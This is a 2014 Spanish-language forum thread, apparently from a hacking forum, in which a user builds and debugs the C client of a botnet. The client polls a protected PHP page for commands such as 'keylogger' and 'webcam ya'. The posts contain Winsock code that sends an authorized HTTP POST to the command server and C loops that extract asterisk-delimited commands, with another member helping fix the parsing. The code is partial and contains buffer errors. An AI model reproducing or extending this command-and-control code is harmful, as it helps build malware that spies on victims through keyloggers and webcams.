Autor
|
Tema: Controlar botnet con PHP (Leído 10,454 veces)
|
Kaxperday
Desconectado
Mensajes: 702
The man in the Middle
|
Bueno haber he improvisado esta función haber xD cliente.c *char recojecomando() { WSADATA wsa; int sok; struct sockaddr_in dir; char buf[60384],comando[100]; WSAStartup(MAKEWORD(2,0),&wsa); if((sok=socket(AF_INET,SOCK_STREAM,0))==-1) {} else { dir.sin_family=AF_INET; dir.sin_port=htons(PUERTO); dir.sin_addr.s_addr=inet_addr(IP);
strcpy(buf,"POST dir_protegido/usuario1.php HTTP/1.1\r\n"); strcat(buf,"Host: miweb.com\r\n"); strcat(buf,"Authorization: Basic aHR0cHdhdGNoOmY="); strcat(buf,"Content-type: application/x-www-form-urlencoded\r\n"); strcat(buf,"\r\n\r\n");
connect(sok,(struct sockaddr*)&dir,sizeof(dir)); send(sok,buf,strlen(buf),0); recv(sok,comando,50,0); closesocket(sok); } return comando; }
Ya me he conectado al server con esto se supone, como extraigo ahora la variable cual es la funcion? y es necesario usar el send? xD Edito: Quizás sobre el content-type y los \r\n del final ya que no se sube variable, lo de autorizacion supongo que será necesario ya que el archivo está en directorio protegido.
|
|
« Última modificación: 18 Septiembre 2014, 00:12 am por Kaxperday »
|
En línea
|
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
|
|
|
T. Collins
Desconectado
Mensajes: 206
|
Has mirado que te llega a la variable comando? Con 50 de largo no creo que te llegue.
|
|
|
En línea
|
|
|
|
Kaxperday
Desconectado
Mensajes: 702
The man in the Middle
|
|
|
« Última modificación: 18 Septiembre 2014, 00:18 am por Kaxperday »
|
En línea
|
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
|
|
|
T. Collins
Desconectado
Mensajes: 206
|
En HTTP el cliente tiene que mandar la petición para que el servidor responda. En este caso tu mandas un POST ( POST dir_protegido/usuario1.php HTTP/1.1\r\n ) el servidor ejecutará usuario1.php y te mandara de vuelta la salida, pero con su cabecera HTTP por delante.
|
|
|
En línea
|
|
|
|
Kaxperday
Desconectado
Mensajes: 702
The man in the Middle
|
O-MAI-GAD ya lo teeeengooooo había cambiado el espacio al definir char comando[] a uno mas grande pero en el recv no no habia cambiado y solo cogia 150, pero no era suficiente, pero bieeeen, problema resuelto Ahora es cuando digo como ** saco el comando de ahí xD Si me sale hasta la publicidad del hosting abajo la madre que lo parió. Bueno supongo que me las podré apañar contando las "\n" y situándome en la línea que está el comando. Mañana espera largo día programación, muchas gracias a todos por la ayuda, sin vosotros no hubiera podido Os mantendré informados de como me va esto. Saludos.
|
|
« Última modificación: 18 Septiembre 2014, 00:29 am por Kaxperday »
|
En línea
|
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
|
|
|
T. Collins
Desconectado
Mensajes: 206
|
Te sale "MFDLWC" debajo de la cabecera?
|
|
|
En línea
|
|
|
|
Kaxperday
Desconectado
Mensajes: 702
The man in the Middle
|
Debajo de la cabecera me hay un salto de linea (una linea en blanco), en la siguiente linea pone a3, y en la siguiente linea esta el comando, y luego hay 3 lineas con publicidad del hosting, podría leer las \n desde atras y colocarme con el puntero delante del comando listo para leerlo, o eso creo xD, en verdad sale "webcam ya", mejor lo meto en un archivo y copio y pego...a la espera HTTP/1.1 200 OK Date: Wed, 17 Sep 2014 22:34:04 GMT Server: Apache X-Powered-By: PHP/5.2.17 Content-Length: 163 Connection: close Content-Type: text/html
webcam ya <!-- Hosting24 Analytics Code --> <script type="text/javascript" src="http://stats.hosting24.com/count.php"></script> <!-- End Of Analytics Code -->
Sale esta preciosidad PD ha desaparecido el a3 que salia antes lol Edito: Madre mia esto es horiiiibleee al recoger el comando cada vez sale una cosa omg, hay veces que la cabecera que devuelve el server tiene más lineas que otras, hay otras que aparecen lineas como a8, a3 y no se mas cosas raras jajaja, y cuando da la casualidad y coje el comando bien resulta que los a veces los 2 primeros caracteres del comando son aleatorios como si no loshubiese leido omg horriiiblle x lo demas bien, agradeceria mucho algun algoritmp para sacar sano y salvo ese comando saludos
|
|
« Última modificación: 18 Septiembre 2014, 17:10 pm por Kaxperday »
|
En línea
|
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
|
|
|
Kaxperday
Desconectado
Mensajes: 702
The man in the Middle
|
Bueno aquí estoy otra vez, me estoy desesperando un poco con esto: Respuesta del servidor: (la muestro como código) HTTP/1.1 200 OK Date: Wed, 17 Sep 2014 22:34:04 GMT Server: Apache X-Powered-By: PHP/5.2.17 Content-Length: 163 Connection: close Content-Type: text/html
****keylogger <!-- Hosting24 Analytics Code --> <script type="text/javascript" src="http://stats.hosting24.com/count.php"></script> <!-- End Of Analytics Code --> Bien, ahí estaría leyendo el comando keylogger, os preguntaréis ¿por qué ha puesto los 4 asteriscos?, pues bien, me sirven para encontrar el comando de entre toda la cadena. El algoritmo que uso para extraer el comando de la cadena es el siguiente: b=0; for(i=0;i<strlen(comando);i++) { if(comando[i]=='*'&&comando[i+1]=='*'&&comando[i+2]=='*'&&comando[i+3]=='*') { i=i+4; while(comando[i]!='\n') { comanda[b]=comando[i]; i++; b++; } comanda[sizeof(comanda)-2]='\0'; comanda[sizeof(comanda)-1]='\0'; comanda[sizeof(comanda)]='\0'; break; } } } printf("Comando extraido: %s\n\n",comanda ); for(i=0;i<strlen(comanda);i++) { printf("(%c %d)",comanda [i ],comanda [i ]); } return comanda;
Y bien, el programa estaba venga a fallar y fallar al recibir comando y tratar de ejecutarlo, el programa sacaba el comando de allí correctamente, y lo mostraba con un printf, pero luego no me entraba en un strcmp(comando,"keylogger"), y es que comando al hacer printf mostraba keylogger, pero su tamaño devuelto por strlen era 2 caracteres mayor aunque no los mostraba, entonces monté ee alboroto con el for para que me recorriera la cadena, traté de cortarla poniendo "\0", pues aparecen 2 caracteres basura que se incrustan al final de la cadena y no hay manera de sacarles. Os pongo lo que ha mostrado el for: (k 107) (e 101) (y 121) (l 108) (o 111) (g 103) (g 103) (e 101) (r 114) ( 13) (© -71) Y para más colmo aún jajaja, los 2 últimos "carácteres" se sobreescriben sobre los que ya ha mostrado la consola, es decir en vez de irlos mostrando de izquierda->derecha->abajo-izquierda->derecha... no bajan y sobrescriben la línea increible LOL. Pues eso haber si podéis ayudarme a buscar una solución, el 13 es un retorno de carro (un enter), el otro ni idea de que pinta allí, buff y parecía que era fácil sacar una cadena de otra en c. Edito: He vuelto a probarlo y me muestra esto: (k 107) (e 101) (y 121) (l 108) (o 111) (g 103) (g 103) (e 101) (r 114) ( 13) (<< -82) Luego el ultimo caracter es aleatorio, era << solo que las dos flechas más juntas y haciendo un solo caracter, pero no entiendo, he puesto "\0" en los 3 ultimos caracteres de la cadena debería de cortarse allí que broma es esta? Es que no te lo pierdas con otras cadenas me aparecen hasta 4 caracteres extra atrás todos seguidos del retorno de carro. Por ejemplo puse a ejecutar el comando "ping teleco.com", la respuesta del servidor igual que la anterior solo que cambiando el comando bien(con los 4 asteriscos delante...), luego trato de extraer el comando me depura esto: las letras y cuando acaba la cadena esto: ( 13) (É -114) (q 113) Y la gracia es que esa q da mucho juego, porque luego hay un printf que dice: printf("Comando extraido: %s",comando );
Y muestra: qumando extraido: ping teleco.com Saludos
|
|
« Última modificación: 18 Septiembre 2014, 20:14 pm por Kaxperday »
|
En línea
|
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
|
|
|
|
Kaxperday
Desconectado
Mensajes: 702
The man in the Middle
|
Igual que has puesto los asteriscos al principio, puedes ponerlos al final para delimitar el comando. Eso puede ser una solución, aunque ya creo más en la magia que en los hechos. Probando... Edito: OOHHHH DIOOOSS SI SOLUCIONADO!! me pregunto porque ocurrirán estas mierdas!! Seguro tenía que ver con el recv(), aquí el script usado: b=0; for(i=0;i<strlen(comando);i++) { if(comando[i]=='*'&&comando[i+1]=='*'&&comando[i+2]=='*'&&comando[i+3]=='*') { i=i+4; while(comando[i]!='\n') { comanda[b]=comando[i]; i++; b++; } comanda[sizeof(comanda)]='\0'; break; } } } b=0; for(i=0;i<strlen(comanda);i++) { if(comanda[i]!='*') { cumanda[b]=comanda[i]; b++; } else { cumanda[b]='\0'; break; } } printf("Comando extraido: %s\n\n",cumanda ); for(i=0;i<strlen(cumanda);i++) { printf("(%c %d)",cumanda [i ],cumanda [i ]); } return cumanda;
Lo que he echo es poner en el comando 4 asteriscos adelante y 4 detrás. Saludos y gracias.
|
|
« Última modificación: 18 Septiembre 2014, 20:25 pm por Kaxperday »
|
En línea
|
Cuando el poder económico parasita al político ningún partido ni dictador podrá liberarnos de él. Se reserva el 99% ese poder.
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
XRayBNT Botnet P2P
« 1 2 »
Análisis y Diseño de Malware
|
Jaixon Jax
|
17
|
12,250
|
29 Junio 2010, 22:56 pm
por Jaixon Jax
|
|
|
[Botnet]¿Es necesaria un VPS?
Análisis y Diseño de Malware
|
VCore
|
2
|
4,438
|
20 Octubre 2010, 04:12 am
por VCore
|
|
|
Problema con Botnet IRC
Programación Visual Basic
|
illuminat3d
|
1
|
2,208
|
17 Noviembre 2010, 15:18 pm
por illuminat3d
|
|
|
que botnet es el mas popular
« 1 2 3 »
Análisis y Diseño de Malware
|
snIPER1
|
22
|
20,071
|
14 Septiembre 2015, 03:11 am
por MCKSys Argentina
|
|
|
Desmantelan la segunda botnet Hlux/Kelihos Botnet
Noticias
|
wolfbcn
|
0
|
2,557
|
31 Marzo 2012, 13:58 pm
por wolfbcn
|
|